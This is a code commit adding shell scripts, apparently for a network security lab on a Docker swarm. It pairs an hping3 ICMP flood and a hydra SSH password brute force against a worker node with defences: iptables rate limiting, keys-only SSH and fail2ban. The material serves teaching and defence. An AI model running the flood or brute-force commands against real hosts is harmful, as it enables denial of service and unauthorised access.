cse47126
4 years ago
5 changed files with 67 additions and 0 deletions
@ -0,0 +1,9 @@ |
|||
sudo apt update |
|||
sudo apt upgrade -y |
|||
sudo apt install hping3 -y |
|||
network=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" | cut -f 1-3 -d "." | sed 's/$/.*/') |
|||
clear |
|||
echo "Swarm network is " $network |
|||
worker1IP=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') |
|||
echo "Starting DDos attack to worker 1 with the IP address: " $worker1IP |
|||
sudo hping3 -p 80 --flood --icmp $worker1IP |
@ -0,0 +1,20 @@ |
|||
sudo apt update |
|||
sudo apt upgrade -y |
|||
sudo apt install tcpdump -y |
|||
worker1IP=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" ) |
|||
clear |
|||
sudo iptables -F |
|||
echo "Listening to ICMP replies from worker1 for 5 seconds" |
|||
sleep 2s |
|||
sudo timeout 5s tcpdump -i eth0 icmp and src $worker1IP |
|||
sleep 2s |
|||
echo "Applying Ip Tables Rules" |
|||
sleep 2s |
|||
sudo iptables -N icmp_flood |
|||
sudo iptables -A INPUT -p icmp -j icmp_flood |
|||
sudo iptables -A icmp_flood -m limit --limit 1/s --limit-burst 3 -j RETURN |
|||
sudo iptables -A icmp_flood -j DROP |
|||
echo "Listening to ICMP replies from worker1 for 5 seconds" |
|||
sleep 2s |
|||
sudo timeout 5s tcpdump -i eth0 icmp and src $worker1IP |
|||
echo "Spot any difference?" |
@ -0,0 +1,11 @@ |
|||
sudo apt update |
|||
sudo apt upgrade -y |
|||
sudo apt install hydra -y |
|||
clear |
|||
echo "SSH brute force attack with Hydra" |
|||
network=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" | cut -f 1-3 -d "." | sed 's/$/.*/') |
|||
worker1IP=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') |
|||
echo "Swarm network is " $network |
|||
echo "Starting attack with right dictionary to worker 1 with the IP address: " $worker1IP |
|||
hydra -l docker -P lexikoright $worker1IP -t 4 ssh |
|||
|
@ -0,0 +1,14 @@ |
|||
clear |
|||
echo "Applying SSH Configuration to allow only keys" |
|||
network=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" | cut -f 1-3 -d "." | sed 's/$/.*/') |
|||
worker1IP=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') |
|||
ssh-keygen -t rsa |
|||
#(path kai kwdiko enter+enter) |
|||
ssh-copy-id docker@$worker1IP |
|||
ssh docker@$worker1IP |
|||
bash |
|||
sudo cp /project/sshdconfrsa /etc/ssh/sshd_config |
|||
sudo service ssh restart |
|||
exit |
|||
exit |
|||
echo "Configuration Finished!" |
@ -0,0 +1,13 @@ |
|||
sudo apt update |
|||
sudo apt upgrade -y |
|||
sudo apt-get install fail2ban -y |
|||
sudo apt install rsyslog -y |
|||
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local |
|||
sudo cp /project/fail2bansshconf /etc/fail2ban/jail.local |
|||
sudo cp /project/sshdconf /etc/ssh/sshd_config |
|||
sudo service ssh restart |
|||
sudo service rsyslog restart |
|||
sudo service fail2ban restart |
|||
#sudo cat /var/log/auth.log |
|||
sudo fail2ban-client status sshd |
|||
|
Loading…
Reference in new issue